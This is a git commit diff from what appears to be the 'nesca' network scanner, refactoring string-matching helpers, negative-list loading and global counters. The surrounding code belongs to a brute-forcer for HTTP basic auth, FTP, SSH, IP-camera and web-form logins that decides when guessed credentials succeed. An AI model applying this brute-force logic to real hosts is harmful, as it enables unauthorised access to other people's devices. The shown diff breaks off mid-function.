mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-11-23 10:42:21 +00:00
Partial refactoring of filter and neg-file module.
This commit is contained in:
parent
2f26648d48
commit
ad71357008
@ -2,24 +2,24 @@
|
||||
#include "FileUpdater.h"
|
||||
|
||||
bool BA::checkOutput(const string *buffer, const char *ip, const int port) {
|
||||
if((Utils::ci_find_substr(*buffer, "200 ok") != -1 ||
|
||||
Utils::ci_find_substr(*buffer, "http/1.0 200") != -1 ||
|
||||
Utils::ci_find_substr(*buffer, "http/1.1 200") != -1)
|
||||
&& Utils::ci_find_substr(*buffer, "http/1.1 401 ") == -1
|
||||
&& Utils::ci_find_substr(*buffer, "http/1.0 401 ") == -1
|
||||
&& Utils::ci_find_substr(*buffer, "<statusValue>401</statusValue>") == -1
|
||||
&& Utils::ci_find_substr(*buffer, "<statusString>Unauthorized</statusString>") == -1
|
||||
&& Utils::ci_find_substr(*buffer, "íåïðàâèëüíû") == -1
|
||||
&& Utils::ci_find_substr(*buffer, "Ð<EFBFBD>еправильны") == -1
|
||||
if((Utils::ustrstr(*buffer, "200 ok") != -1 ||
|
||||
Utils::ustrstr(*buffer, "http/1.0 200") != -1 ||
|
||||
Utils::ustrstr(*buffer, "http/1.1 200") != -1)
|
||||
&& Utils::ustrstr(*buffer, "http/1.1 401 ") == -1
|
||||
&& Utils::ustrstr(*buffer, "http/1.0 401 ") == -1
|
||||
&& Utils::ustrstr(*buffer, "<statusValue>401</statusValue>") == -1
|
||||
&& Utils::ustrstr(*buffer, "<statusString>Unauthorized</statusString>") == -1
|
||||
&& Utils::ustrstr(*buffer, "íåïðàâèëüíû") == -1
|
||||
&& Utils::ustrstr(*buffer, "Ð<EFBFBD>еправильны") == -1
|
||||
) {
|
||||
return true;
|
||||
}
|
||||
else if (Utils::ci_find_substr(*buffer, "503 service unavailable") != -1
|
||||
|| Utils::ci_find_substr(*buffer, "http/1.1 503") != -1
|
||||
|| Utils::ci_find_substr(*buffer, "http/1.0 503") != -1
|
||||
|| Utils::ci_find_substr(*buffer, "400 BAD_REQUEST") != -1
|
||||
|| Utils::ci_find_substr(*buffer, "400 bad request") != -1
|
||||
|| Utils::ci_find_substr(*buffer, "403 Forbidden") != -1
|
||||
else if (Utils::ustrstr(*buffer, "503 service unavailable") != -1
|
||||
|| Utils::ustrstr(*buffer, "http/1.1 503") != -1
|
||||
|| Utils::ustrstr(*buffer, "http/1.0 503") != -1
|
||||
|| Utils::ustrstr(*buffer, "400 BAD_REQUEST") != -1
|
||||
|| Utils::ustrstr(*buffer, "400 bad request") != -1
|
||||
|| Utils::ustrstr(*buffer, "403 Forbidden") != -1
|
||||
)
|
||||
{
|
||||
stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")");
|
||||
|
@ -65,22 +65,23 @@ int KeyCheckerMain()
|
||||
Connector::nConnect((url + std::string("/api/checkaccount?key=") + std::string(trcPersKey)).c_str(),
|
||||
std::stoi(trcSrvPortLine), &buffer, NULL, &headerVector);
|
||||
|
||||
if(Utils::ci_find_substr(buffer, std::string("202 Accepted")) != -1) {
|
||||
if(Utils::ustrstr(buffer, std::string("202 Accepted")) != -1) {
|
||||
stt->doEmitionGreenFoundData("Key is valid.");
|
||||
if(emitIfOK == 0) stt->doEmitionStartScanIP();
|
||||
else if(emitIfOK == 1) stt->doEmitionStartScanDNS();
|
||||
else if(emitIfOK == 2) stt->doEmitionStartScanImport();
|
||||
return 1;
|
||||
} else if(Utils::ci_find_substr(buffer, std::string("400 Bad Request")) != -1) {
|
||||
QString errorDef = GetNSErrorDefinition(buffer.c_str(), "notify");
|
||||
} else if(Utils::ustrstr(buffer, std::string("400 Bad Request")) != -1) {
|
||||
QString errorDef = Utils::GetNSErrorDefinition(buffer.c_str(), "notify");
|
||||
if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] Key is unauthorized. A valid key is required.");
|
||||
else stt->doEmitionYellowFoundData("[Key check] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(buffer.c_str(), "notify") + "]");
|
||||
} else if(Utils::ci_find_substr(buffer, std::string("503 Bad Gateway")) != -1) {
|
||||
else stt->doEmitionYellowFoundData("[Key check] FAIL! [400 Bad Request : " +
|
||||
Utils::GetNSErrorDefinition(buffer.c_str(), "notify") + "]");
|
||||
} else if(Utils::ustrstr(buffer, std::string("503 Bad Gateway")) != -1) {
|
||||
stt->doEmitionYellowFoundData("[Key check] 503 Backend not responding!");
|
||||
} else {
|
||||
char header[64] = {0};
|
||||
getSubStrEx(buffer.c_str(), "http/1.1 ", "\r\n", header, 64);
|
||||
stt->doEmitionRedFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: <u>" + QString::fromLocal8Bit(header) + "</u>");
|
||||
stt->doEmitionRedFoundData("[Key check] FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: <u>" + QString::fromLocal8Bit(header) + "</u>");
|
||||
if(gDebugMode) stt->doEmitionDebugFoundData(QString(buffer.c_str()));
|
||||
};
|
||||
} else {
|
||||
|
@ -237,10 +237,7 @@ int Connector::_ConnectToPort(char* ip, int port)
|
||||
{
|
||||
if(gPingNScan)
|
||||
{
|
||||
if(_pingMyTarget(ip) == 0)
|
||||
{
|
||||
return -2;
|
||||
};
|
||||
if(_pingMyTarget(ip) == 0) return -2;
|
||||
};
|
||||
|
||||
std::string buffer;
|
||||
@ -254,7 +251,13 @@ int Connector::_ConnectToPort(char* ip, int port)
|
||||
++Alive;//ME2
|
||||
++found;//PieStat
|
||||
Lexems lx;
|
||||
lx._filler(port, buffer.c_str(), ip, size, &lx);
|
||||
lx._filler(port, buffer, ip, size, &lx);
|
||||
|
||||
//if (Filter::negativeFilter(&buffer)) {
|
||||
// if (Filter::resultFilter(&buffer)) {
|
||||
// saveNode();
|
||||
// }
|
||||
//}
|
||||
}
|
||||
else if (size == -2) return -2;
|
||||
return 0;
|
||||
|
@ -121,7 +121,7 @@ int MakePolygonLine(int gWidth)
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
baCount = 0;
|
||||
Filt = 0;
|
||||
filtered = 0;
|
||||
Overl = 0;
|
||||
Lowl = 0;
|
||||
Alive = 0;
|
||||
@ -151,7 +151,7 @@ void DrawerTh_ME2Scanner::run()
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
baCount = 0;
|
||||
Filt = 0;
|
||||
filtered = 0;
|
||||
Overl = 0;
|
||||
Lowl = 0;
|
||||
Alive = 0;
|
||||
|
@ -2,6 +2,8 @@
|
||||
#include "STh.h"
|
||||
#include "externData.h"
|
||||
|
||||
int DrawerTh_QoSScanner::MaxDataVal = 1;
|
||||
|
||||
void DrawerTh_QoSScanner::run()
|
||||
{
|
||||
while(QoSScanFlag)
|
||||
@ -30,7 +32,7 @@ void DrawerTh_QoSScanner::run()
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
baCount = 0;
|
||||
Filt = 0;
|
||||
filtered = 0;
|
||||
Overl = 0;
|
||||
Lowl = 0;
|
||||
Alive = 0;
|
||||
@ -41,7 +43,7 @@ void DrawerTh_QoSScanner::run()
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
baCount = 0;
|
||||
Filt = 0;
|
||||
filtered = 0;
|
||||
Overl = 0;
|
||||
Lowl = 0;
|
||||
Alive = 0;
|
||||
|
@ -8,6 +8,8 @@ class DrawerTh_QoSScanner : public QThread
|
||||
{
|
||||
Q_OBJECT
|
||||
|
||||
public:
|
||||
static int MaxDataVal;
|
||||
public:
|
||||
static void doEmitionAddLine();
|
||||
|
||||
|
@ -108,7 +108,7 @@ void DrawerTh_VoiceScanner::run()
|
||||
Alive = 0;
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
Filt = 0;
|
||||
filtered = 0;
|
||||
Lowl = 0;
|
||||
baCount = 0;
|
||||
Overl = 0;
|
||||
@ -124,7 +124,7 @@ void DrawerTh_VoiceScanner::run()
|
||||
Alive = 0;
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
Filt = 0;
|
||||
filtered = 0;
|
||||
Lowl = 0;
|
||||
baCount = 0;
|
||||
Overl = 0;
|
||||
|
@ -2,7 +2,7 @@
|
||||
#include "FileUpdater.h"
|
||||
|
||||
bool FTPA::checkOutput(const string *buffer) {
|
||||
if(Utils::ci_find_substr(*buffer, "230") != -1) {
|
||||
if(Utils::ustrstr(*buffer, "230") != -1) {
|
||||
|
||||
return true;
|
||||
}
|
||||
|
125
FileUpdater.cpp
125
FileUpdater.cpp
@ -10,135 +10,22 @@ long FileUpdater::oldPassLstSize = 0;
|
||||
long FileUpdater::oldSSHLstSize = 0;
|
||||
long FileUpdater::oldWFLoginLstSize = 0;
|
||||
long FileUpdater::oldWFPassLstSize = 0;
|
||||
int FileUpdater::gNegativeSize = 0;
|
||||
std::mutex FileUpdater::filesUpdatingMutex;
|
||||
std::condition_variable FileUpdater::cv;
|
||||
bool FileUpdater::ready = false;
|
||||
std::unique_lock<std::mutex> FileUpdater::lk;
|
||||
|
||||
void ReadUTF8(FILE* nFile, char *cp) {
|
||||
char buffFG[256] = {0};
|
||||
int i = 0;
|
||||
GlobalNegativeSize = 0;
|
||||
|
||||
if(nFile != NULL)
|
||||
{
|
||||
while(fgets((char*)buffFG, sizeof(buffFG), nFile) != NULL)
|
||||
{
|
||||
if(buffFG[0] != '#' && buffFG[0] != ' ' && buffFG[0] != '\n' && buffFG[0] != '\r' && strcmp(buffFG, "") != 0 &&
|
||||
((buffFG[0] == '/' && buffFG[1] == '/') == false) && ((buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == 13 || buffFG[3] == 10 || buffFG[3] == '#')) == false)
|
||||
&& (buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == '/' && buffFG[4] == '/')) == false)
|
||||
{
|
||||
++GlobalNegativeSize;
|
||||
}
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(nFile);
|
||||
if(strcmp(cp, "UTF") == 0) fseek(nFile, 3, 0);
|
||||
|
||||
GlobalNegatives = new char*[GlobalNegativeSize + 2];
|
||||
|
||||
while(fgets(buffFG, sizeof(buffFG), nFile) != NULL)
|
||||
{
|
||||
if(buffFG[0] == '#' || buffFG[0] == ' ' || buffFG[0] == '\n' || buffFG[0] == '\r' || strcmp(buffFG, "") == 0 ||
|
||||
(buffFG[0] == '/' && buffFG[1] == '/'))
|
||||
{
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
continue;
|
||||
};
|
||||
|
||||
if(buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t')
|
||||
{
|
||||
char buffFGT[256] = {0};
|
||||
strcpy(buffFGT, buffFG);
|
||||
char *ptr1 = strstr(buffFGT, "\t\t\t");
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
strcpy(buffFG, ptr1 + 3);
|
||||
};
|
||||
|
||||
int bSz = strlen(buffFG);
|
||||
if((bSz == 2 && buffFG[0] == 13 && buffFG[1] == 10) || (bSz == 1 && (buffFG[0] == 13 || buffFG[0] == 10)))
|
||||
{
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
continue;
|
||||
};
|
||||
if(buffFG[bSz] == 13 || buffFG[bSz] == 10)
|
||||
{
|
||||
buffFG[bSz] = '\0';
|
||||
};
|
||||
if(buffFG[bSz - 1] == 13 || buffFG[bSz - 1] == 10)
|
||||
{
|
||||
buffFG[bSz - 1] = '\0';
|
||||
};
|
||||
if(buffFG[bSz - 2] == 13 || buffFG[bSz - 2] == 10)
|
||||
{
|
||||
buffFG[bSz - 2] = '\0';
|
||||
};
|
||||
|
||||
if(strstr((char*)buffFG, "\n") != 0)
|
||||
{
|
||||
std::string res = std::string(buffFG);
|
||||
int sz = res.size();
|
||||
GlobalNegatives[i] = new char[sz + 1];
|
||||
ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i]));
|
||||
memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz - 1);
|
||||
memset(GlobalNegatives[i] + sz - 1, '\0', 1);
|
||||
++i;
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string res = std::string(buffFG);
|
||||
int sz = res.size();
|
||||
GlobalNegatives[i] = new char[sz + 1];
|
||||
ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i]));
|
||||
memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz);
|
||||
memset(GlobalNegatives[i] + sz, '\0', 1);
|
||||
++i;
|
||||
};
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
if(FileUpdater::oldNegLstSize == 0) stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)");
|
||||
else stt->doEmitionFoundData("<font color=\"Pink\">Negative list updated (" + QString::number(GlobalNegativeSize) + " entries)</font>");
|
||||
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
fclose(nFile);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No negative list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
}
|
||||
std::vector<std::string> FileUpdater::negativeVector;
|
||||
|
||||
void negativeLoader() {
|
||||
FILE *nFile = fopen("negatives.txt", "rb, ccs=UTF-8");
|
||||
std::ifstream file("negatives.txt");
|
||||
std::string line;
|
||||
|
||||
if( nFile != NULL)
|
||||
{
|
||||
unsigned char b[3] = {0};
|
||||
fread(b,1,2, nFile);
|
||||
if( b[0] == 0xEF && b[1] == 0xBB)
|
||||
{
|
||||
fread(b,1,1,nFile); // 0xBF
|
||||
ReadUTF8(nFile, "UTF");
|
||||
}
|
||||
else
|
||||
{
|
||||
rewind(nFile);
|
||||
ReadUTF8(nFile, "1251");
|
||||
};
|
||||
}
|
||||
while (std::getline(file, line)) FileUpdater::negativeVector.push_back(line);
|
||||
}
|
||||
|
||||
void updateNegatives() {
|
||||
if(GlobalNegatives != NULL)
|
||||
{
|
||||
for(int i = 0; i < GlobalNegativeSize; ++i) delete []GlobalNegatives[i];
|
||||
delete []GlobalNegatives;
|
||||
GlobalNegatives = NULL;
|
||||
};
|
||||
|
||||
FileUpdater::negativeVector.clear();
|
||||
negativeLoader();
|
||||
}
|
||||
void updateLogin() {
|
||||
|
@ -4,8 +4,7 @@
|
||||
#include <fstream>
|
||||
#include <mutex>
|
||||
#include <condition_variable>
|
||||
#include "externData.h"
|
||||
#include "externFunctions.h"
|
||||
#include <vector>
|
||||
|
||||
class FileUpdater {
|
||||
public:
|
||||
@ -20,6 +19,8 @@ public:
|
||||
static std::condition_variable cv;
|
||||
static std::mutex filesUpdatingMutex;
|
||||
static std::unique_lock<std::mutex> lk;
|
||||
static int gNegativeSize;
|
||||
static std::vector<std::string> negativeVector;
|
||||
|
||||
public:
|
||||
static void updateLists();
|
||||
|
5
Filter.cpp
Normal file
5
Filter.cpp
Normal file
@ -0,0 +1,5 @@
|
||||
#include "Filter.h"
|
||||
|
||||
bool Filter::resultFilter() {
|
||||
return false;
|
||||
}
|
9
Filter.h
Normal file
9
Filter.h
Normal file
@ -0,0 +1,9 @@
|
||||
#ifndef MAINSTARTER_H
|
||||
#define MAINSTARTER_H
|
||||
|
||||
class Filter {
|
||||
public:
|
||||
bool resultFilter();
|
||||
};
|
||||
|
||||
#endif // MAINSTARTER_H
|
@ -147,7 +147,7 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
||||
else if (res != -1) {
|
||||
for (int i = 0; i < negVector.size(); ++i)
|
||||
{
|
||||
if (Utils::ci_find_substr(buffer, negVector[i]) != -1)
|
||||
if (Utils::ustrstr(buffer, negVector[i]) != -1)
|
||||
{
|
||||
result = false;
|
||||
break;
|
||||
|
@ -2,9 +2,36 @@
|
||||
#include "MainStarter.h"
|
||||
#include "Connector.h"
|
||||
#include <sstream>
|
||||
#include "Utils.h"
|
||||
#include <qjsonobject.h>
|
||||
#include <qjsonvalue.h>
|
||||
#include <qjsonarray.h>
|
||||
#include <qjsondocument.h>
|
||||
|
||||
int gTimeOut = 3;
|
||||
int gPingTimeout = 1;
|
||||
int gMode;
|
||||
int PieAnomC1 = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieWF = 0, PieSSH = 0;
|
||||
int AnomC1 = 0, filtered = 0, Overl = 0, Lowl = 0, Alive = 0, saved = 0, Susp = 0, WF = 0, ssh = 0;
|
||||
int found = 0, indexIP = 0;
|
||||
int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0;
|
||||
int baCount = 0;
|
||||
int gMaxBrutingThreads = 50;
|
||||
unsigned int Activity = 0;
|
||||
char **loginLst, **passLst;
|
||||
char **wfLoginLst, **wfPassLst;
|
||||
char **sshlpLst;
|
||||
char gTLD[128] = { 0 };
|
||||
char gPorts[65536] = { 0 };
|
||||
char currentIP[MAX_ADDR_LEN] = { 0 };
|
||||
char finalIP[32] = { 0 };
|
||||
|
||||
bool gPingNScan = false;
|
||||
std::atomic<int> cons = 0, BrutingThrds = 0, gThreads;
|
||||
|
||||
std::vector<int> MainStarter::portVector;
|
||||
int MainStarter::flCounter = 0;
|
||||
bool MainStarter::savingBackUpFile = false;
|
||||
|
||||
QJsonArray *jsonArr = new QJsonArray();
|
||||
|
||||
@ -331,7 +358,7 @@ int MainStarter::loadTargets(const char *data) {
|
||||
ipsendfl[0], ipsendfl[1], ipsendfl[2], ipsendfl[3]);
|
||||
}
|
||||
|
||||
if (ip1 > ip2) {
|
||||
if (gMode != 1 && ip1 > ip2) {
|
||||
stt->doEmitionRedFoundData("Malformed input: check your range");
|
||||
return -1;
|
||||
}
|
||||
@ -461,7 +488,7 @@ void MainStarter::saveBackupToFile()
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
|
||||
sprintf(saveStr, "[THREAD_DELAY]: %d\n", gThreadDelay);
|
||||
sprintf(saveStr, "[THREAD_DELAY]: %d\n", Threader::gThreadDelay);
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
|
||||
@ -487,17 +514,20 @@ void MainStarter::saveBackupToFile()
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
|
||||
FILE *savingFile = fopen("restore", "w");
|
||||
std::string finalSaveStr(saveBuffer);
|
||||
std::ofstream file("restore");
|
||||
file << finalSaveStr;
|
||||
ZeroMemory(saveBuffer, strlen(saveBuffer));
|
||||
|
||||
/*FILE *savingFile = fopen("restore", "w");
|
||||
|
||||
if (savingFile != NULL)
|
||||
{
|
||||
fputs(saveBuffer, savingFile);
|
||||
fclose(savingFile);
|
||||
}
|
||||
else stt->doEmitionRedFoundData("[_saver] Cannot open file.");
|
||||
else stt->doEmitionRedFoundData("[_saver] Cannot open file.");*/
|
||||
|
||||
ZeroMemory(saveStr, strlen(saveStr));
|
||||
ZeroMemory(saveBuffer, strlen(saveBuffer));
|
||||
}
|
||||
|
||||
bool saverRunning = false;
|
||||
@ -507,9 +537,9 @@ void MainStarter::saver()
|
||||
Sleep(1000);
|
||||
while (globalScanFlag)
|
||||
{
|
||||
__savingBackUpFile = true;
|
||||
savingBackUpFile = true;
|
||||
saveBackupToFile();
|
||||
__savingBackUpFile = false;
|
||||
savingBackUpFile = false;
|
||||
Sleep(10000);
|
||||
};
|
||||
saverRunning = false;
|
||||
@ -714,7 +744,7 @@ void _tracker() {
|
||||
jsonMeta.insert("speed", QJsonValue(QString(metaIPS)));
|
||||
jsonMeta.insert("eta", QJsonValue(QString(metaETA)));
|
||||
jsonMeta.insert("threads", QJsonValue(QString::number(cons) + "/" + QString::number(gThreads)));
|
||||
jsonMeta.insert("bads", QJsonValue(QString::number(offlines)));
|
||||
jsonMeta.insert("bads", QJsonValue("-1"));
|
||||
jsonMeta.insert("version", QJsonValue(QString(gVER)));
|
||||
|
||||
jsonArr->push_front(QJsonValue(jsonMeta));
|
||||
@ -770,7 +800,8 @@ void _tracker() {
|
||||
CSSOCKET(sock);
|
||||
|
||||
|
||||
stt->doEmitionRedFoundData("[NS-Track] -connect() returned " + QString::number(WSAGetLastError()) + ".");
|
||||
stt->doEmitionRedFoundData("[NS-Track] connect() returned " +
|
||||
QString::number(WSAGetLastError()) + ".");
|
||||
|
||||
continue;
|
||||
};
|
||||
@ -786,7 +817,8 @@ void _tracker() {
|
||||
{
|
||||
CSSOCKET(sock);
|
||||
|
||||
stt->doEmitionRedFoundData("[NS-Track] -send() returned " + QString::number(WSAGetLastError()) + ".");
|
||||
stt->doEmitionRedFoundData("[NS-Track] send() returned " +
|
||||
QString::number(WSAGetLastError()) + ".");
|
||||
|
||||
continue;
|
||||
};
|
||||
@ -814,7 +846,7 @@ void _tracker() {
|
||||
|
||||
if (strlen(rBuffT) > 200000)
|
||||
{
|
||||
stt->doEmitionRedFoundData("[NS-Track] (Inner) -Large error received from server (>200000b) " +
|
||||
stt->doEmitionRedFoundData("[NS-Track] (Inner) Large error received from server (>200000b) " +
|
||||
QString::number(WSAGetLastError()) + ".");
|
||||
break;
|
||||
};
|
||||
@ -830,7 +862,7 @@ void _tracker() {
|
||||
{
|
||||
CSSOCKET(sock);
|
||||
|
||||
stt->doEmitionRedFoundData("[NS-Track] -recv() returned " + QString::number(WSAGetLastError()) + ".");
|
||||
stt->doEmitionRedFoundData("[NS-Track] recv() returned " + QString::number(WSAGetLastError()) + ".");
|
||||
|
||||
continue;
|
||||
};
|
||||
@ -838,7 +870,7 @@ void _tracker() {
|
||||
if (strstr(rBuffT, "201 Created") != NULL)
|
||||
{
|
||||
|
||||
if (gDebugMode) stt->doEmitionYellowFoundData("[NS-Track] -OK. Data saved!");
|
||||
if (gDebugMode) stt->doEmitionYellowFoundData("[NS-Track] OK. Data saved!");
|
||||
stt->doEmitionDataSaved(true);
|
||||
Sleep(1000);
|
||||
stt->doEmitionDataSaved(false);
|
||||
@ -846,15 +878,14 @@ void _tracker() {
|
||||
}
|
||||
else if (strstr(rBuffT, "400 Bad Request") != NULL)
|
||||
{
|
||||
|
||||
QString errorDef = GetNSErrorDefinition(rBuffT, "notify");
|
||||
QString errorDef = Utils::GetNSErrorDefinition(rBuffT, "notify");
|
||||
if (errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required.");
|
||||
else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + errorDef + "]");
|
||||
else stt->doEmitionYellowFoundData("[NS-Track] FAIL! [400 Bad Request : " + errorDef + "]");
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionYellowFoundData("[NS-Track] -FAIL! An error occured [" + QString(msgR) + "]");
|
||||
stt->doEmitionYellowFoundData("[NS-Track] FAIL! An error occured [" + QString(msgR) + "]");
|
||||
};
|
||||
|
||||
ZeroMemory(msgR, sizeof(msgR));
|
||||
@ -874,7 +905,7 @@ void _tracker() {
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("[NS-Track] -Balancer replied with invalid string.");
|
||||
stt->doEmitionRedFoundData("[NS-Track] Balancer replied with invalid string.");
|
||||
};
|
||||
|
||||
CSSOCKET(sock);
|
||||
|
@ -24,18 +24,15 @@ private:
|
||||
public:
|
||||
static std::vector<int> portVector;
|
||||
static int flCounter;
|
||||
static bool savingBackUpFile;
|
||||
|
||||
public:
|
||||
MainStarter(short mode,
|
||||
const char* targets,
|
||||
const char* ports,
|
||||
const char* tld = nullptr
|
||||
)
|
||||
MainStarter(const char* targets, const char* ports)
|
||||
{
|
||||
horLineFlag = false;
|
||||
PieAnomC1 = 0, PieWF = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieSSH = 0;
|
||||
AnomC1 = 0, baCount = 0, Filt = 0, Overl = 0, Lowl = 0, Alive = 0, Activity = 0, saved = 0, Susp = 0,
|
||||
WF = 0, offlines = 0;
|
||||
AnomC1 = 0, baCount = 0, filtered = 0, Overl = 0, Lowl = 0, Alive = 0, Activity = 0, saved = 0, Susp = 0,
|
||||
WF = 0;
|
||||
BrutingThrds = 0;
|
||||
found = 0;
|
||||
gTargets = 0;
|
||||
@ -68,8 +65,9 @@ public:
|
||||
Threader::cleanUp();
|
||||
curl_global_cleanup();
|
||||
|
||||
while (__savingBackUpFile) Sleep(100);
|
||||
while (savingBackUpFile) Sleep(100);
|
||||
|
||||
FileUpdater::negativeVector.clear();
|
||||
if (loginLst != NULL)
|
||||
{
|
||||
for (int i = 0; i < MaxLogin; ++i) delete[]loginLst[i];
|
||||
@ -82,12 +80,6 @@ public:
|
||||
delete[]passLst;
|
||||
passLst = NULL;
|
||||
};
|
||||
if (GlobalNegatives != NULL)
|
||||
{
|
||||
for (int i = 0; i < GlobalNegativeSize; ++i) delete[]GlobalNegatives[i];
|
||||
delete[]GlobalNegatives;
|
||||
GlobalNegatives = NULL;
|
||||
};
|
||||
if (wfPassLst != NULL)
|
||||
{
|
||||
for (int i = 0; i < MaxWFPass; ++i) delete[]wfPassLst[i];
|
||||
|
@ -63,7 +63,6 @@ int _sshConnect(const char *user, const char *pass, const char *host, int port)
|
||||
ssh_disconnect(ssh_session);
|
||||
ssh_free(ssh_session);
|
||||
curl_easy_cleanup(curl);
|
||||
++offlines;
|
||||
return -2;
|
||||
}
|
||||
else
|
||||
|
3
STh.cpp
3
STh.cpp
@ -85,8 +85,7 @@ void STh::setPorts(QString ports) {
|
||||
}
|
||||
void STh::run()
|
||||
{
|
||||
MainStarter ms(gMode,
|
||||
this->target.toLocal8Bit().data(),
|
||||
MainStarter ms(this->target.toLocal8Bit().data(),
|
||||
this->ports.toLocal8Bit().data()
|
||||
);
|
||||
ms.start();
|
||||
|
@ -1,5 +1,6 @@
|
||||
#include "Threader.h"
|
||||
|
||||
int Threader::gThreadDelay = 10;
|
||||
int Threader::threadId = 0;
|
||||
std::mutex Threader::m;
|
||||
bool Threader::ready = false;
|
||||
@ -27,6 +28,7 @@ void Threader::cleanUp() {
|
||||
std::unique_lock<std::mutex> lk(m);
|
||||
lk.unlock();
|
||||
lk.release();
|
||||
Sleep(1500);
|
||||
threadId = 0;
|
||||
std::queue<std::string> empty = {};
|
||||
std::swap(ipQueue, empty);
|
||||
|
@ -16,6 +16,7 @@ public:
|
||||
static bool ready;
|
||||
static std::condition_variable cv;
|
||||
static std::queue<std::string> ipQueue;
|
||||
static int gThreadDelay;
|
||||
|
||||
public:
|
||||
static void fireThread(std::string ip, void *func(void));
|
||||
|
23
Utils.h
23
Utils.h
@ -3,6 +3,7 @@
|
||||
|
||||
#include <iostream>
|
||||
#include <algorithm>
|
||||
#include <qstring.h>
|
||||
|
||||
using namespace std;
|
||||
|
||||
@ -23,7 +24,7 @@ private:
|
||||
class Utils {
|
||||
public:
|
||||
// find substring (case insensitive)
|
||||
template<typename T> static int ci_find_substr(const T& str1,
|
||||
template<typename T> static int ustrstr(const T& str1,
|
||||
const T& str2,
|
||||
const locale& loc = locale()) {
|
||||
|
||||
@ -33,7 +34,7 @@ public:
|
||||
else return -1;
|
||||
}
|
||||
|
||||
template<typename T> static int ci_find_substr(const T& str1,
|
||||
template<typename T> static int ustrstr(const T& str1,
|
||||
const char* str2c,
|
||||
const locale& loc = locale()) {
|
||||
|
||||
@ -44,6 +45,24 @@ public:
|
||||
else return -1;
|
||||
}
|
||||
|
||||
static QString GetNSErrorDefinition(const char *str, const char *elem){
|
||||
const char *temp = strstr(str, elem);
|
||||
|
||||
if (temp != NULL)
|
||||
{
|
||||
char definition[128] = { 0 };
|
||||
const char *firstComma = strstr(temp + strlen(elem) + 1, "\"");
|
||||
const char *lastComma = strstr(firstComma + 1, "\"");
|
||||
|
||||
int sz = lastComma - firstComma - 1;
|
||||
|
||||
strncpy(definition, firstComma + 1, (sz < 128 ? sz : 128));
|
||||
|
||||
return QString(definition);
|
||||
}
|
||||
else return QString("No definition found!");
|
||||
}
|
||||
|
||||
char * getProxy();
|
||||
int getProxyPort();
|
||||
};
|
||||
|
@ -12,20 +12,20 @@ lopaStr WFClass::parseResponse(const char *ip,
|
||||
|
||||
if(buffer->size() != 0)
|
||||
{
|
||||
if(Utils::ci_find_substr(*buffer, std::string(formVal)) == -1
|
||||
&& Utils::ci_find_substr(*buffer, std::string("denied")) == -1
|
||||
&& Utils::ci_find_substr(*buffer, std::string("Location:")) == -1
|
||||
&& Utils::ci_find_substr(*buffer, std::string("Authentication required")) == -1
|
||||
&& Utils::ci_find_substr(*buffer, std::string("invalid")) == -1
|
||||
&& Utils::ci_find_substr(*buffer, std::string("err")) == -1
|
||||
&& Utils::ci_find_substr(*buffer, std::string(".href")) == -1
|
||||
&& Utils::ci_find_substr(*buffer, std::string(".replace")) == -1
|
||||
&& Utils::ci_find_substr(*buffer, std::string(".location")) == -1
|
||||
&& Utils::ci_find_substr(*buffer, std::string("501 not implemented")) == -1
|
||||
&& Utils::ci_find_substr(*buffer, std::string("http-equiv")) == -1
|
||||
&& Utils::ci_find_substr(*buffer, std::string("busy")) == -1
|
||||
&& Utils::ci_find_substr(*buffer, std::string("later")) == -1
|
||||
&& Utils::ci_find_substr(*buffer, std::string("forbidden")) == -1
|
||||
if(Utils::ustrstr(*buffer, std::string(formVal)) == -1
|
||||
&& Utils::ustrstr(*buffer, std::string("denied")) == -1
|
||||
&& Utils::ustrstr(*buffer, std::string("Location:")) == -1
|
||||
&& Utils::ustrstr(*buffer, std::string("Authentication required")) == -1
